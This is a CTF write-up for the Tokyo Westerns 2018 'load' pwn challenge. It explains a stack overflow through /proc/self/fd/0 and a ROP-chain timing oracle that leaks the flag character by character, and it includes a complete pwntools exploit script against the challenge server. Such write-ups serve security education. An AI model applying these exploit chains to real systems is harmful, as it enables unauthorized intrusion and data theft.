Tokyo Westerns CTF 2018 – load

load was a warmup pwn, though it ended up being on the hard side for a warmup: it had 49 solves compared to 134 for the next easiest warmup (scs7). We spent quite a long time on this challenge (I think ~8 hours in total?), but despite the unexpected difficulty I still had a lot of fun and thought it was well-designed.

One note before we get into the writeup: I’m also pretty sure we missed a much simpler solution, given that it was a warmup and that the flag text mentioned something we didn’t use much.

What the program does

The binary itself is quite small and fairly simple: all it does is

  1. Read in a file name, offset, and size from stdin.
  2. Open the given file name, lseek to the given offset, and read size bytes from the file to the stack.
  3. Close file descriptors 0, 1, and 2 (i.e. stdin, stdout, and stderr), then exit.

Here is a screenshot of the main function in assembly (with some of the subfunctions renamed):

screenshot

As mentioned above, the behavior is quite simple:

  • read_input takes in two arguments: an address to read to, and the number of characters to read. So the file name is read to 0x601040 (in BSS) and can be at most 128 characters.
  • read_integer reads in at most 32 characters and calls atoi on the input.
  • read_file takes in 4 arguments: an address to read to, the file name to read from, an offset, and a size. It calls open on the file name, lseeks to the offset, reads size bytes to the address, and closes the file (if the read fails, it just prints a “You can’t read this file…” error message). In this case, the file is read to the stack, at address rbp-0x30.
  • close_fds calls close(0), close(1), and close(2).

The stack buffer overflow

Because you get to choose the number of bytes to read, it’s trivial to overflow the stack by picking a size greater than 48, though it will only read from a user-provided file name. So, the question is: is there some file that we can control the contents of? The answer is yes: with the proc filesystem, we have /proc/self/fd/0, which is a symlink to file descriptor 0 (stdin) of the currently-running process. This means that if we put in /proc/self/fd/0 for the input file name and a large-enough number for the input size, the program will read in arbitrary input to the stack.

If stdout didn’t get closed at the end, we could pretty easily get the flag by writing a ROP chain to read the flag file* and print it. Unfortunately, that’s not the case, and we also can’t prevent stdout from being closed, because the earliest we can hijack program execution is when the main function returns.

*As a side note, we knew that a “flag.txt” file existed because inputting flag.txt as the file name doesn’t print the “You can’t read this file…” message, so we assumed that the flag was located there. If the flag was in an unknown location, I’m not immediately sure how this solution could be adapted to that.

Getting started on a solution

Our first idea was to get the program to open a network connection and send the flag over that, but we couldn’t find any way to perform syscalls, which seem necessary for such an approach. We then thought of extracting data from the flag by causing the program to loop infinitely if some condition were met. This idea seemed promising, but in order for it to work, we would need:

  1. A way to extract specific characters from the flag,
  2. A way to change behavior depending on the character, and
  3. An infinite loop of some sort

We started with step 2. One of the library functions available to us was strchr, so if we could isolate a character of the flag, we could guess a possible character and call strchr(flag_character, guess_character): if the guess were correct, then rax would equal the address of flag_character, and otherwise it would be 0. Looking through a list of ROP gadgets, we found this one which would segfault immediately if rax were 0, but not if it were a valid address:
0x0000000000400a7e : add byte ptr [rax], al ; ret

Steps 1 and 3 took us an embarrassingly long time, so I’ll skip some of the false paths we went down. Needless to say, our inexperience really showed here, but at least it was quite educational.

Finding an infinite loop

To approach step 3, we started by looking at ROP gadgets that affected the stack pointer, hoping that one of them could give us a loop. After some false starts (it turns out that it’s fairly tricky to think about what the stack looks like during ROP chain execution), we decided that the only way this could work is if we had a gadget that subtracted 8 or more from rsp, which did not exist.

Eventually, we thought of the much simpler method of finding a jmp statement that went to itself. There were multiple jmp rax statements, but there wasn’t any gadget that let us control rax (after the CTF, I found this writeup which uses atoi to read a value into rax, which we did not think of). After searching through the binary some more, we found a jmp qword [rbp] statement at 0x400ca3. There were plenty of pop rbp ; ret gadgets, so all we needed to do was get 0x400ca3 somewhere in memory and point rbp to that. This can be done by simply including 0x400ca3 somewhere in the input file name, which is written to a known location in memory. By including a null byte after the /proc/self/fd/0 at the beginning of the file name, we can store arbitrary input in memory while still having the program read from stdin.

Extracting single characters

We thought step 1 would be easy, but also ran into complications. In particular, the “obvious” thing to do is to call open("flag.txt"), followed by lseek(flag_fd, some_offset) and read(flag_fd, some address in BSS, 1) to get a single character into memory, after which we can apply steps 2 and 3 to win. However, in order to call read with a size of 1 byte, we needed to control rdx (the register holding the third argument), and there wasn’t any ROP gadget that let us easily manipulate it. When we tested locally, we found that rdx was equal to some stack address (0x7fff…) at the end of main, so calling read would read the whole flag into memory.

We tried experimenting with various methods to control rdx with no success. We also attempted to reuse the read_file function from the binary but had trouble changing the string at 0x601040 to point to flag.txt instead of /proc/self/fd/0.

Eventually, we thought more about what we could do with strchr using the whole flag and Lily hit upon the idea that we could start from the last character and move backwards, so the algorithm would be something like:

  1. Find the address of the last character.
  2. Guess all possible printable characters using strchr(char_address, guess_character); the correct one will cause the program to loop indefinitely.
  3. Do the same thing with the second-to-last character, and continue moving back through the string.

Of course, one potential issue here is with duplicate characters. If the last character is D, then if we guess D for the second-to-last character, it will go into an infinite loop regardless of what the correct character actually is (this is the entire reason we wanted to extract single characters of the flag as opposed to the whole flag). We first thought of ignoring this error and attempting to guess the correct characters knowing that flags are generally English sentences, but then we saw that our ROP gadget from earlier, add byte ptr [rax], al ; ret, could also be used to address this issue. For example, if we know that the last character was D and were guessing D for the second-to-last character, we could first call strchr(last_character, 'D') to set rax to the address of last_character, and then call this gadget to change the last character to something non-D. Then, it would loop infinitely if and only if the second-to-last character of the flag was actually D.

Bringing it all together

We now have all the parts we need to get the flag. To summarize the strategy, let’s say that we already know the last n characters of the flag and are trying to guess the next one, c. Our plan is:

  1. Pick a character guess_character as our guess.
  2. When asked for the input file name, use /proc/self/fd/0\x00[64-bit representation of 0x400ca3]flag.txt. (flag.txt is included so we can reference it in the next step.) When asked for the size, pick anything larger than the size of the ROP chain.
  3. Read the flag somewhere into BSS by calling open("flag.txt") and read(flag_fd, BSS address, size). We can’t control size, but it will certainly be larger than the flag length given that it’s a stack address.
  4. Use the add byte ptr [rax], al ; ret gadget to ensure that none of the n characters after c are the same as guess_character.
  5. Call strchr(c, guess_character), followed by the add byte ptr [rax], al ; ret gadget. This will immediately segfault if guess_character was incorrect, as rax will contain 0.
  6. Set rbp to the BSS address containing 0x400ca3, and loop infinitely using the jmp [rbp] instruction at 0x400ca3.
  7. If we detect an infinite loop, then we know that our guess is correct and can move on to the next one. Otherwise, continue guessing characters until we hit on the right one.

We implemented this using the following script (I tried to clean it up and add some more comments):

from pwn import *

context.log_level = 'error'
printables = "}_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{!#$%&'()*+,-./:;<=>?@[]^|~"
printables = map(lambda c: ord(c), printables)

# Arguments:
# guess_index is the index of the character we're guessing
# guess_c is the guessed character
# known_flag consists of the characters after guess_index in the flag, which we already know
# 
# Note: known_flag is actually reversed (e.g. "}3lb") because idk
def make_guess(guess_index, guess_c, known_flag):
	conn = remote("pwn1.chal.ctf.westerns.tokyo", 34835)

	# We determined that the flag had length 32 by finding the last address for which guessing '}' would give an infinite loop.
	assert guess_index == 31 - len(known_flag)

	conn.recvuntil("Input file name: ")
	conn.sendline("/dev/stdin\x00" + p64(0x400ca3) + "flag.txt\x00") # /dev/stdin is a symlink to /proc/self/fd/0
	conn.recvuntil("Input offset: ")
	conn.sendline("0")
	conn.recvuntil("Input size: ")
	conn.sendline("2000")

	# Return address starts 56 bytes after where the file is read.
	rop_chain = 'A'*56

	# Various library functions
	f_open = 0x400710
	f_read = 0x4006e8
	f_strchr = 0x4006d0

	# Where "flag.txt" is located in memory (19 characters after 0x601040)
	flag_txt_bss = 0x601053

	# ROP gadgets
	pop_rsi_pop_r15 = 0x400a71
	pop_rdi = 0x400a73
	pop_rbp = 0x400780

	# open("flag.txt", 0)
	rop_chain += p64(pop_rsi_pop_r15)
	rop_chain += p64(0)
	rop_chain += p64(0)
	rop_chain += p64(pop_rdi)
	rop_chain += p64(flag_txt_bss)
	rop_chain += p64(f_open)

	# Arbitrarily pick an address in BSS to read the the flag to.
	char_bss = 0x601530
	# read(0, 0x601530, whatever is in rdx)
	# Note that the file descriptor returned by the earlier open() call is 0 because stdin was closed.
	rop_chain += p64(pop_rdi)
	rop_chain += p64(0)
	rop_chain += p64(pop_rsi_pop_r15)
	rop_chain += p64(char_bss)
	rop_chain += p64(0)
	rop_chain += p64(f_read)

	# Modify any characters in known_flag that are equal to guess_c that they don't get caught by the strchr later
	for i, c in enumerate(known_flag):
		if c != guess_c:
			continue
		flag_char_bss = char_bss + (31-i)

		# strchr(flag_char_bss, guess_c)
		# This moves flag_char_bss, the address of the current flag character, into rax.
		rop_chain += p64(pop_rdi)
		rop_chain += p64(flag_char_bss)
		rop_chain += p64(pop_rsi_pop_r15)
		rop_chain += p64(ord(c))
		rop_chain += p64(0)
		rop_chain += p64(f_strchr)

		# This changes the character at rax to something else (we don't care what it is as long as it's not guess_c).
		rop_chain += p64(0x400a7e) # add byte ptr [rax], al ; ret

	# strchr(0x601530 + guess_index, guess_c)
	# After this, rax will be equal to 0x601500 + guess_index if the guess is correct, otherwise 0
	rop_chain += p64(pop_rdi)
	rop_chain += p64(char_bss + guess_index)
	rop_chain += p64(pop_rsi_pop_r15)
	rop_chain += p64(ord(guess_c))
	rop_chain += p64(0)
	rop_chain += p64(f_strchr)

	# Crash if rax is not accessible
	rop_chain += p64(0x400a7e) # add byte ptr [rax], al ; ret

	# Infinite loop
	rop_chain += p64(pop_rbp)
	rop_chain += p64(0x60104b) # address of 0x400ca3 in BSS. This is 11 characters after 0x601040.
	rop_chain += p64(0x400ca3) # jmp qword [rbp]

	conn.sendline(rop_chain)

	conn.recvline()
	# Check whether the program runs indefinitely. In this case, "indefinitely" means "for 5 seconds".
	timed_out = True
	try:
		print conn.recvline(timeout=5)
	except EOFError:
		timed_out = False

	conn.close()
	return timed_out

current_flag = ""
# Guess characters of the flag starting from the end and going backwards.
for i in range(31, -1, -1):
	next_c = 0
	for c in printables:
		print "trying", chr(c)
		correct = make_guess(i, chr(c), current_flag)
		if correct:
			next_c = c
			break
	if next_c == 0:
		print "Uh oh"
		break
	current_flag += chr(next_c)
	print "found next part of flag"
	print current_flag[::-1]

After dealing with some internet issues, running this eventually gave the flag TWCTF{pr0cf5_15_h1ghly_fl3x1bl3}. We didn’t really use proc fs other than for stdin, which is one reason why I think we missed a simpler solution.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s